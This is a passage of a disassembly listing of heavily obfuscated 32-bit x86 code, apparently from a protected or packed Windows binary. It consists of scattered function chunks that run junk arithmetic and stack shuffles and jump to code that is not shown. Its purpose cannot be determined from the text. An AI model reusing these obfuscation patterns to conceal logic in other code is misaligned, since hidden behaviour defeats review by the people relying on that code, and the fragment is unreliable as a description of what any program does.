; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0AA2


loc_5A0A1F:				; CODE XREF: sub_5A0AA2+313Ej
		sub	ebx, 66AA43F0h
		add	ebx, ebp
		add	ebx, 66AA43F0h
		pop	ebp
		sub	ebx, 232C73E4h
		add	ebx, esi
		add	ebx, 232C73E4h
		push	edi
		mov	edi, 50636FDDh
		sub	ebx, edi
		jmp	loc_59E609
; END OF FUNCTION CHUNK	FOR sub_5A0AA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A0A49:				; CODE XREF: sub_5AA2D1+3925j
		sub	ebp, edx
		pop	edx
		xchg	ebp, [esp+0]
		pop	esp
		mov	[esp-4+arg_0], edi
		push	ecx
		push	ebx
		jmp	loc_59D54F
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A503A


loc_5A0A5A:				; CODE XREF: sub_5A503A-8849j
		jmp	loc_5A0EED
; END OF FUNCTION CHUNK	FOR sub_5A503A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C95F


loc_5A0A5F:				; CODE XREF: sub_59C95F-1C9j
		push	esp
		pop	edi
		add	edi, 4
		sub	esp, 4
		mov	[esp+4+var_4], ebp
		mov	ebp, 2
		jmp	sub_5A577C
; END OF FUNCTION CHUNK	FOR sub_59C95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599E21


loc_5A0A7A:				; CODE XREF: sub_599E21+134F7j
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_599E21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC18D


loc_5A0A7F:				; CODE XREF: sub_5AC18D-1D15j
		mov	cx, word ptr [esp+8+var_8]
		add	esp, 2
		sub	bl, 73h
		jmp	loc_5ADF88
; END OF FUNCTION CHUNK	FOR sub_5AC18D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599CC6


loc_5A0A8E:				; CODE XREF: sub_599CC6+B8E7j
		push	[esp+4+var_4]
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		add	esp, 4
		jmp	loc_5AF2A9
; END OF FUNCTION CHUNK	FOR sub_599CC6

; =============== S U B	R O U T	I N E =======================================



sub_5A0AA2	proc near		; DATA XREF: sdfs____:00598EF0o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00599A19 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00599AEF SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00599B71 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00599DDE SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059A6DE SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059A7AF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0059AEB6 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059AF52 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059C047 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0059CCAB SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059CD4A SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059CEB4 SIZE 0000002F BYTES
; FUNCTION CHUNK AT 0059D489 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059E2DA SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059E609 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059E792 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059EB39 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A02C8 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A0A1F SIZE 0000002A BYTES
; FUNCTION CHUNK AT 005A0D45 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A10B1 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005A1219 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A1BDD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A1F96 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A221A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A2631 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A2A10 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A391E SIZE 00000029 BYTES
; FUNCTION CHUNK AT 005A3BD3 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A623F SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A637F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A7AF5 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A80E2 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A8288 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A93AD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A9963 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005AA348 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 005AA77E SIZE 0000002B BYTES
; FUNCTION CHUNK AT 005AAB99 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AB1E5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AB66E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005ABC77 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005AC4F5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AC8A6 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005AD629 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AE77D SIZE 00000006 BYTES

		mov	ax, [esp+0]
		push	ebx
		push	esp
		push	[esp+8+var_8]
		pop	ebx
		add	esp, 4
		sub	esp, 4
		mov	[esp+8+var_8], esi
		jmp	loc_5A02C8
sub_5A0AA2	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A0ABD:				; CODE XREF: sub_5AA2D1-DFB9j
		pop	ebp
		push	210Ch
		jmp	loc_59CAF7
; ---------------------------------------------------------------------------


loc_5A0AC8:				; CODE XREF: sub_5AA2D1-5DD8j
		push	esi
		mov	esi, offset dword_4F4E10
		jmp	loc_5AA70B
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A477C


loc_5A0AD3:				; CODE XREF: sub_5A477C+32CEj
		push	edx
		push	29915B5Bh
		jmp	loc_5A4DF6
; END OF FUNCTION CHUNK	FOR sub_5A477C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5A0ADE:				; CODE XREF: sub_59D6B8+4EFCj
		jmp	loc_5B0421
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A26E8


loc_5A0AE3:				; CODE XREF: sub_5A26E8-7691j
		push	esi
		mov	esi, 70536EA5h
		mov	edx, 8FAC915Dh
		jmp	loc_5A2188
; END OF FUNCTION CHUNK	FOR sub_5A26E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FB1A


loc_5A0AF3:				; CODE XREF: sub_59FB1A-1140j
		add	esp, 4
		shl	dh, 6
		jmp	loc_5AC87A
; END OF FUNCTION CHUNK	FOR sub_59FB1A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A0AFE:				; CODE XREF: sub_5AA2D1-74C3j
		pop	ebx
		shl	ebx, 8
		push	ebp
		mov	ebp, 0
		sub	ebp, 514261AEh
		sub	ebp, ebx
		add	ebp, 514261AEh
		jmp	loc_5A6F1E
; ---------------------------------------------------------------------------


loc_5A0B1B:				; CODE XREF: sub_5AC803-DD64j
					; sub_5AA2D1-B4Ej
		mov	[esp-0Ch+arg_8], edi
		push	ebp
		push	4CF94412h
		jmp	loc_59FAD5
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A66D6


loc_5A0B29:				; CODE XREF: sub_5A66D6+6j
		mov	[esp+4+var_4], edi
		mov	edi, 2CEC107Ch
		add	[esp+4+arg_0], edi
		jmp	loc_5AC09F
; END OF FUNCTION CHUNK	FOR sub_5A66D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A0B3A:				; CODE XREF: sub_5AA2D1-780Fj
		pop	dx
		sub	bh, 2Ah
		jg	loc_5A2D51
		and	bh, 3Fh
		ja	loc_5A841C
		add	bh, 0D7h
		jo	loc_59BD4E
		push	esi
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; START	OF FUNCTION CHUNK FOR sub_5A2E41


loc_5A0B58:				; CODE XREF: sub_5A2E41-110Fj
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_5A2E41

; =============== S U B	R O U T	I N E =======================================



sub_5A0B5D	proc near		; CODE XREF: sub_5AA2D1-101F5j

var_C		= dword	ptr -0Ch

; FUNCTION CHUNK AT 0059A3D5 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0059BD0C SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005ADA64 SIZE 00000014 BYTES

		push	ebp
		push	eax
		push	1DA70146h
		jmp	loc_59A3D5
sub_5A0B5D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A0B69:				; CODE XREF: sub_5AA2D1:loc_59AC20j
		add	eax, 1F276869h
		not	eax
		inc	eax
		jmp	loc_5AB676
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AF46F


loc_5A0B76:				; CODE XREF: sub_5AF46F-881Bj
		xchg	ebx, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		mov	[esp+4+var_4], eax
		push	dword ptr [esp+4]
		jmp	loc_5A4020
; END OF FUNCTION CHUNK	FOR sub_5AF46F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A16B8


loc_5A0B88:				; CODE XREF: sub_5A16B8+5564j
		push	eax
		mov	eax, 4
		add	edi, eax
		pop	eax
		push	edx
		jmp	loc_5A4C53
; END OF FUNCTION CHUNK	FOR sub_5A16B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4E04


loc_5A0B97:				; CODE XREF: sub_5A4E04+51C3j
		jns	loc_5AC130


loc_5A0B9D:				; DATA XREF: sub_5AA2D1-996Fo
					; sub_5AA2D1:loc_5AECFFo
		xor	ebx, 3DBE8C34h
		add	eax, 495F5A41h
; END OF FUNCTION CHUNK	FOR sub_5A4E04

; =============== S U B	R O U T	I N E =======================================



sub_5A0BA8	proc near		; DATA XREF: sdfs____:00598FB4o
		pop	small word ptr [edx]
		jmp	loc_5AC5A7
sub_5A0BA8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59BE17


loc_5A0BB0:				; CODE XREF: sub_59BE17+23B7j
		pop	ecx
		sub	ebp, 4
		jmp	loc_5A4653
; END OF FUNCTION CHUNK	FOR sub_59BE17
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A0BB9:				; CODE XREF: sub_5AA2D1-A748j
		add	eax, 4
		add	eax, 4
		xor	eax, [esp-28h+arg_24]
		xor	[esp-28h+arg_24], eax
		xor	eax, [esp-28h+arg_24]
		pop	esp
		xchg	ecx, [esp-2Ch+arg_28]
		mov	esp, [esp-2Ch+arg_28]
		jmp	loc_5A42DB
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABE0D


loc_5A0BD8:				; CODE XREF: sub_5ABE0D-AA5j
		pop	eax
		mov	edx, [esp+0Ch+var_C]
		add	esp, 4
		sub	ebp, 14EB1823h
		add	ebp, eax
		add	ebp, 14EB1823h
		push	[esp+8+var_8]
		pop	eax
		add	esp, 4
		push	23DDh
		jmp	loc_59D44D
; END OF FUNCTION CHUNK	FOR sub_5ABE0D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A0C04:				; CODE XREF: sub_59DAB9+15j
					; sub_5AA2D1-A7E6j
		mov	ebx, eax
		mov	eax, [esp-30h+arg_2C]
		jmp	loc_5A167C
; ---------------------------------------------------------------------------


loc_5A0C0E:				; CODE XREF: sub_5AA2D1-6C1j
		add	eax, 68A91452h
		add	eax, ecx
		sub	eax, 68A91452h
		pop	ecx
		push	[esp-34h+arg_30]
		jmp	loc_5AE4FC
; ---------------------------------------------------------------------------


loc_5A0C23:				; CODE XREF: sub_5AA2D1-B875j
		pop	esi
		push	edx
		jmp	sub_5A21A4
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F4D2


loc_5A0C2A:				; CODE XREF: sub_59F4D2+3DBEj
					; sub_59A26C+F0E7j
		add	esp, 4
		push	ecx
		push	64C8h
		push	esp
		pop	[esp+4+var_4]
		add	dword ptr [esp+0], 4
		pop	ecx
		add	ecx, 4
		push	ebx
		jmp	loc_5A1CE3
; END OF FUNCTION CHUNK	FOR sub_59F4D2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5A0C48:				; CODE XREF: sub_59D6B8-11CAj
					; sub_5A765F-2B46j
		mov	[esp+4+var_4], eax
		push	esp
		mov	eax, [esp+8+var_8]
		add	esp, 4
		jmp	sub_599D0E
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A0C5A:				; CODE XREF: sub_5AA2D1+492j
		sub	ebx, 57E33D96h
		sub	ebx, 54474494h
		add	ebx, edx
		add	ebx, 54474494h
		add	ebx, 57E33D96h
		add	ebx, 16375269h
		add	ebx, 13C75C65h
		sub	ebx, 3BE121CAh
		jmp	loc_5A305D
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59AA62


loc_5A0C8B:				; CODE XREF: sub_59AA62+12j
		push	[esp+8+var_8]
		pop	esi
		add	esp, 4
		add	esi, 4
		sub	esp, 4
		jmp	loc_5A57AA
; END OF FUNCTION CHUNK	FOR sub_59AA62
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9D64


loc_5A0CA3:				; CODE XREF: sub_5A9D64+29A1j
		jg	loc_5A2D06
		xor	ebp, 6825CAA5h
		push	ebp
		pop	edi
		pop	ebp
		xor	al, 20h
		mov	dh, ch


loc_5A0CB6:				; CODE XREF: sub_5A71F0-53D6j
		add	dword ptr [ecx], 1
		mov	ecx, [esp+4+var_4]
		add	esp, 4
		mov	eax, [esp+0]
		sub	esp, 4
		mov	[esp+4+var_4], edi
		mov	edi, esp
		push	esi
		jmp	loc_5997C5
; END OF FUNCTION CHUNK	FOR sub_5A9D64

; =============== S U B	R O U T	I N E =======================================



sub_5A0CD9	proc near		; CODE XREF: sub_5AA2D1-5F29j

; FUNCTION CHUNK AT 0059A3F1 SIZE 00000008 BYTES

		sub	esp, 4
		jmp	loc_59A3F1
sub_5A0CD9	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A72CB


loc_5A0CE1:				; CODE XREF: sub_5A72CB-19D1j
		push	ecx
		mov	ecx, 0D448B714h
		add	ebp, ecx
		pop	ecx
		add	esi, ebp
		jmp	loc_59C78D
; END OF FUNCTION CHUNK	FOR sub_5A72CB
; ---------------------------------------------------------------------------


loc_5A0CF1:				; CODE XREF: sdfs____:005A854Fj
		mov	[esp], edi
		mov	edi, esp
		push	46E9h
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], ecx
		push	35954B8Dh
		mov	ecx, [esp]
		jmp	loc_5A0369
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A0D14:				; CODE XREF: sub_5AA2D1-E6F6j
		jmp	loc_59B3E4
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4D9D


loc_5A0D19:				; CODE XREF: sub_5A4D9D-4CF9j
		mov	ebp, [esp+4+var_4]
		sub	esp, 4
		jmp	loc_5A0757
; END OF FUNCTION CHUNK	FOR sub_5A4D9D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599117


loc_5A0D27:				; CODE XREF: sub_599117+10996j
		mov	esi, [esp+0]
		add	esp, 4
		xor	eax, ebp
		pop	ebp
		jmp	loc_5A755C
; END OF FUNCTION CHUNK	FOR sub_599117
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A0D38:				; CODE XREF: sub_5AA2D1-EAA6j
					; sub_5AA2D1-4827j
		not	edx
		add	edx, 73704C46h
		jmp	loc_5A605B
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0AA2


loc_5A0D45:				; CODE XREF: sub_5A0AA2+1B96j
		sub	eax, 47455A1h
		add	eax, 5B5D5A0Fh
		add	eax, ebp
		sub	eax, 5B5D5A0Fh
		jmp	loc_599DDE
; END OF FUNCTION CHUNK	FOR sub_5A0AA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AF2D9


loc_5A0D5B:				; CODE XREF: sub_5AF2D9-12F59j
		pop	eax
		pop	edx
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+0Ch+var_C]
		jmp	loc_5A770C
; END OF FUNCTION CHUNK	FOR sub_5AF2D9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A0D71:				; CODE XREF: sub_5AA2D1-1A8j
		sub	ecx, 6A191A9Dh
		add	ecx, ebp
		add	ecx, 6A191A9Dh
		add	ecx, 6F844018h
		jmp	loc_5ABA6F
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A9E9


loc_5A0D8A:				; CODE XREF: sub_59A9E9+D157j
		add	esp, 4
		push	edx
		mov	edx, 4AE64FEEh
		jmp	loc_59BDB6
; END OF FUNCTION CHUNK	FOR sub_59A9E9
; ---------------------------------------------------------------------------


loc_5A0D98:				; CODE XREF: sdfs____:005A2ECBj
		xor	edi, 4DBB1BA1h
		mov	ebp, edi
		pop	edi
		push	ecx
		mov	ecx, 16D066B9h
		add	ebp, 55327181h
		sub	ebp, ecx
		sub	ebp, 55327181h
		jmp	loc_59AA4C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A0DBA:				; CODE XREF: sub_5AA2D1-62CAj
					; sub_5A917C-3709j
		add	esp, 4
		sub	ecx, 4
		jmp	sub_5A7BA0
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5A0DC5:				; CODE XREF: sub_59C979+1F5Ej
		push	4A18h
		mov	dword ptr [esp+2+var_2], ecx
		mov	ch, 34h
		xor	dh, ch
		pop	ecx
		add	dh, 0A6h
		push	edx
		mov	dh, 1Eh
		sub	dh, 0B8h
		or	dh, 0A9h
		push	eax
		push	ebx
		mov	bh, 4Ah
		mov	ah, 0D6h
		add	ah, bh
		pop	ebx
		inc	ah
		add	ah, 1
		add	ah, 38h
		sub	ah, 0BDh
		or	dh, ah
		jmp	loc_5A4BBF
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
		mov	ax, fs:[edx]
		push	small 82Eh
		mov	[esp], ax
		jmp	loc_59910F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A0E0A:				; CODE XREF: sub_5AA2D1-486Cj
		sub	ebx, eax
		sub	ebx, 631E0053h
		sub	ebx, 7AB514DBh
		sub	esp, 4
		mov	[esp+4+var_4], eax
		jmp	sub_59F4D2
; ---------------------------------------------------------------------------


loc_5A0E23:				; CODE XREF: sub_5AA2D1-D691j
		shr	ebp, 8
		shl	ebp, 3
		shr	ebp, 3
		jmp	loc_5A8682
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599117


loc_5A0E31:				; CODE XREF: sub_599117+12477j
		xor	ebx, 144935FDh
		jmp	loc_59981B
; END OF FUNCTION CHUNK	FOR sub_599117
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A0E3C:				; CODE XREF: sub_5AA2D1-49F3j
		xor	ch, 0B2h
		add	al, ch
		jmp	loc_5A3B3E
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F02F


loc_5A0E46:				; CODE XREF: sub_59F02F+989j
		xchg	eax, [esp+10h+var_10]
		jmp	loc_59D93B
; END OF FUNCTION CHUNK	FOR sub_59F02F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D4FD


loc_5A0E4E:				; CODE XREF: sub_59D4FD+DD54j
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5A98D6
; END OF FUNCTION CHUNK	FOR sub_59D4FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D6B8


loc_5A0E5B:				; CODE XREF: sub_59D6B8-2497j
					; sub_59D6B8+9153j
		add	edx, edi
		sub	esp, 4
		mov	[esp+0], ebx
		xor	dword ptr [esp+0], 71760FECh
		pop	dword ptr [edx]
		xor	dword ptr [edx], 71760FECh
		pop	edx
		mov	ebx, [esp+1Ch+var_1C]
		add	esp, 4
		mov	ecx, [esp+18h+var_18]
		jmp	loc_5AE1B6
; END OF FUNCTION CHUNK	FOR sub_59D6B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59982C


loc_5A0E84:				; CODE XREF: sub_59982C+155C3j
		add	esp, 4
		sub	eax, 5D480D4Eh
		xor	eax, 3EDA1BD3h
		jl	sub_5A75B3
		push	ebp
		jmp	loc_59ABCC
; END OF FUNCTION CHUNK	FOR sub_59982C
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ebp
		push	esp
; START	OF FUNCTION CHUNK FOR sub_5A79BE


loc_5A0EA3:				; CODE XREF: sub_5A79BE-23C7j
		mov	[esp+4+var_4], eax
		mov	eax, 55C2AF9h
		add	ebx, eax
		pop	eax
		sub	esp, 4
		mov	[esp+4+var_4], ecx
		push	76DAh
		mov	[esp+8+var_8], eax
		jmp	loc_5A7E0D
; END OF FUNCTION CHUNK	FOR sub_5A79BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A0EC4:				; CODE XREF: sub_5AA2D1:loc_5A0180j
					; sub_5AF8FF-7D88j
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		mov	ecx, 4
		jmp	loc_59E05B
; ---------------------------------------------------------------------------


loc_5A0ED7:				; CODE XREF: sub_5AA2D1-E8Dj
		add	edi, 208A0Dh
		mov	edx, edi
		jmp	loc_59D30D
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE3E


loc_5A0EE4:				; CODE XREF: sub_59EE3E+3A84j
		mov	dl, 4Ah
		xor	dl, cl
		jmp	loc_5AFAEB
; END OF FUNCTION CHUNK	FOR sub_59EE3E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A503A


loc_5A0EED:				; CODE XREF: sub_5A8992-87F6j
					; sub_5A503A:loc_5A0A5Aj
		push	esi
		push	665D2941h
		pop	esi
		xor	esi, 67B16516h
		mov	ecx, esi
		jmp	loc_5A36FE
; END OF FUNCTION CHUNK	FOR sub_5A503A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A118F


loc_5A0F01:				; CODE XREF: sub_5A118F+390j
		or	ah, 0C0h
		jmp	loc_5A6A46
; END OF FUNCTION CHUNK	FOR sub_5A118F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A6BBC


loc_5A0F09:				; CODE XREF: sub_5A6BBC+7284j
		push	edx
		jmp	loc_5A6D72
; END OF FUNCTION CHUNK	FOR sub_5A6BBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9EC5


loc_5A0F0F:				; CODE XREF: sub_5A9EC5+12AFj
		add	bl, 7Ah
		push	edx
		mov	dl, 0DDh
		add	dl, 33h
		dec	dl
		or	dl, 46h
		add	dl, 90h
		add	bl, dl
		pop	edx
		add	bl, 21h
		add	bl, al
		sub	bl, 21h
		jmp	loc_59F01E
; END OF FUNCTION CHUNK	FOR sub_5A9EC5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59BAD3


loc_5A0F30:				; CODE XREF: sub_59BAD3+DCDj
		add	esp, 4
		jmp	loc_5A5662
; END OF FUNCTION CHUNK	FOR sub_59BAD3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F1C3


loc_5A0F3B:				; CODE XREF: sub_59F1C3+774j
		pop	eax
		pop	[esp+4+var_4]
		mov	esp, [esp+0]
		or	eax, eax
		jnz	loc_59C6BF
		push	6024h
		mov	[esp+4+var_4], eax
		push	10542A9Fh
		pop	eax
		jmp	sub_5AB3DB
; END OF FUNCTION CHUNK	FOR sub_59F1C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA2D1


loc_5A0F5D:				; CODE XREF: sub_5AA2D1-7BD8j
		jz	loc_59FEFB
		neg	ebx
		jbe	loc_5A2E04
		sub	ebx, 0FACFB226h
		push	ebx
		dec	[esp+10h+var_10]
		mov	ah, 60h
		mov	edi, ecx


loc_5A0F79:				; CODE XREF: sub_59CD26+1j
		push	eax
		jmp	loc_5AEF37
; END OF FUNCTION CHUNK	FOR sub_5AA2D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4DFC


loc_5A0F7F:				; CODE XREF: sub_5A4DFC-B2D1j
		xchg	bl, byte ptr [esp+8+var_8+1]
		not	bl
		xchg	bl, byte ptr [esp+8+var_8+1]
		pop	bx
		mov	ah, bh
		jmp	loc_59E93B
; END OF FUNCTION CHUNK	FOR sub_5A4DFC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4D9D


loc_5A0F92:				; CODE XREF: sub_5A4D9D+812Aj
		add	ebx, edx
		mov	edx, [esp+8+var_8]
		add	esp, 4
		push	esi
		mov	esi, 4
		sub	ebx, esi
		pop	esi
		xchg	ebx, [esp+4+var_4]
		jmp	loc_5AFE7C
; END OF FUNCTION CHUNK	FOR sub_5A4D9D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C979


loc_5A0FAB:				; CODE XREF: sub_59C979+2B48j
		jmp	loc_59910F
; END OF FUNCTION CHUNK	FOR sub_59C979
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F1C3


loc_5A0FB0:				; CODE XREF: sub_5A477C:loc_5ABA4Bj
					; sub_59F1C3+E888j
		mov	[esp+8+var_8], esi
		mov	esi, 69AE28CCh
		mov	edi, 0BDFBF2A8h
		push	ecx
		mov	ecx, 13C7132Eh
		not	ecx
		and	ecx, 19A7027Bh
		add	ecx, 0FB5D41C1h
		sub	edi, ecx
		pop	ecx
		add	edi, esi
		add	edi, 37D4212h
		pop	esi
		jmp	loc_59F90F
; END OF FUNCTION CHUNK	FOR sub_59F1C3
; ---------------------------------------------------------------------------
		lodsb
		push	ebx
		push	eax
		push	cx
		mov	ch, 0DDh
		push	ebx
		push	edx
		mov	dh, ch
		jmp	loc_5AA72E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DB82


loc_5A0FF2:				; CODE XREF: sub_59DB82+8B38j
		movzx	cx, al
		push	small 566Eh
		jmp	loc_59AEDA
; END OF FUNCTION CHUNK	FOR sub_59DB82

; =============== S U B	R O U T	I N E =======================================



sub_5A0FFF	proc near		; CODE XREF: sub_5992DA+4270j

var_26		= dword	ptr -26h
var_22		= dword	ptr -22h
var_1E		= dword	ptr -1Eh
var_1A		= dword	ptr -1Ah
var_16		= dword	ptr -16h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= word ptr  8
arg_6		= dword	ptr  0Ah
arg_A		= dword	ptr  0Eh

; FUNCTION CHUNK AT 00599370 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0059AACB SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0059B047 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059B2B7 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 0059B96B SIZE 0000003C BYTES
; FUNCTION CHUNK AT 0059BBFD SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0059C15E SIZE 0000003B BYTES
; FUNCTION CHUNK AT 0059C548 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059D438 SIZE 0000003D BYTES
; FUNCTION CHUNK AT 0059D7F0 SIZE 0000001C BYTES
